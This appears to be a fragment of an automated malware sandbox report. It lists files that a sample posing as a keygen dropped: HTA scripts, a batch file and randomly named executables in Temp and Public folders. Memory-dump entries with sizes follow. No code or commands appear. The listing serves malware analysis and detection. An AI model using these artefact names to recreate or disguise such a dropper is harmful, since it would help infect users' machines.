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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\byh.exe

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C:\Users\Public\byh.exe

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C:\Users\Public\byh.exe

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C:\Users\Public\nem.exe

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C:\Users\Public\nem.exe

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C:\Users\Public\nem.exe

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C:\Users\Public\ucj.exe

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C:\Users\Public\ucj.exe

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\Users\Admin\AppData\Local\Temp\BFE5.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\byh.exe

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\Users\Public\byh.exe

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\Users\Public\nem.exe

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\Users\Public\nem.exe

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\Users\Public\ucj.exe

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memory/268-18-0x0000000000000000-mapping.dmp

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memory/384-68-0x0000000006240000-0x0000000006241000-memory.dmp

Filesize
4KB

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memory/384-55-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download
memory/384-69-0x0000000006340000-0x0000000006341000-memory.dmp

Filesize
4KB

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memory/384-63-0x00000000061F0000-0x00000000061F1000-memory.dmp

Filesize
4KB

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memory/384-25-0x0000000000000000-mapping.dmp

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memory/384-34-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

Download
memory/384-76-0x0000000006490000-0x0000000006491000-memory.dmp

Filesize
4KB

Download
memory/384-82-0x00000000064C0000-0x00000000064C1000-memory.dmp

Filesize
4KB

Download
memory/628-22-0x0000000000000000-mapping.dmp

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memory/628-49-0x00000000027D0000-0x00000000027D1000-memory.dmp

Filesize
4KB

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memory/628-31-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

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memory/1020-20-0x0000000000000000-mapping.dmp

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memory/1120-10-0x0000000000000000-mapping.dmp

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memory/1168-23-0x0000000000000000-mapping.dmp

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memory/1168-32-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

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memory/1168-163-0x0000000006760000-0x0000000006761000-memory.dmp

Filesize
4KB

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memory/1348-8-0x0000000000000000-mapping.dmp

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memory/1512-4-0x0000000000000000-mapping.dmp

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memory/1512-5-0x0000000000000000-mapping.dmp

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memory/1560-33-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

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memory/1560-21-0x0000000000000000-mapping.dmp

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memory/1584-15-0x0000000000000000-mapping.dmp

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memory/1684-16-0x0000000000000000-mapping.dmp

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memory/1692-0-0x0000000000000000-mapping.dmp

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memory/1824-11-0x0000000000000000-mapping.dmp

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memory/1860-13-0x0000000000000000-mapping.dmp

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memory/1992-36-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

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memory/1992-26-0x0000000000000000-mapping.dmp

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memory/2044-114-0x00000000065C0000-0x00000000065C1000-memory.dmp

Filesize
4KB

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memory/2044-43-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

Filesize
4KB

Download
memory/2044-37-0x0000000000B60000-0x0000000000B61000-memory.dmp

Filesize
4KB

Download
memory/2044-35-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

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memory/2044-24-0x0000000000000000-mapping.dmp

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memory/2160-183-0x000000000041A684-mapping.dmp

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memory/2560-102-0x0000000000000000-mapping.dmp

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memory/2560-106-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Filesize
4KB

Download
memory/2560-105-0x0000000071610000-0x0000000071CFE000-memory.dmp

Filesize
6.9MB

Download
memory/2560-168-0x0000000004D80000-0x0000000004E30000-memory.dmp

Filesize
704KB

Download
memory/2612-108-0x000007FEF75B0000-0x000007FEF782A000-memory.dmp

Filesize
2.5MB

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memory/2692-118-0x0000000000000000-mapping.dmp

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memory/2736-124-0x0000000000000000-mapping.dmp

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memory/2764-127-0x0000000000000000-mapping.dmp

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memory/2788-130-0x0000000000000000-mapping.dmp

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memory/2864-142-0x0000000000000000-mapping.dmp

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memory/2876-153-0x000000000043FCC3-mapping.dmp

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memory/2876-144-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2876-156-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2920-150-0x0000000000000000-mapping.dmp

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memory/3020-169-0x000000000043FCC3-mapping.dmp

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memory/3032-171-0x000000000041A684-mapping.dmp

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memory/3032-176-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/3032-167-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/3064-172-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/3064-179-0x0000000000417A8B-mapping.dmp

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memory/3064-182-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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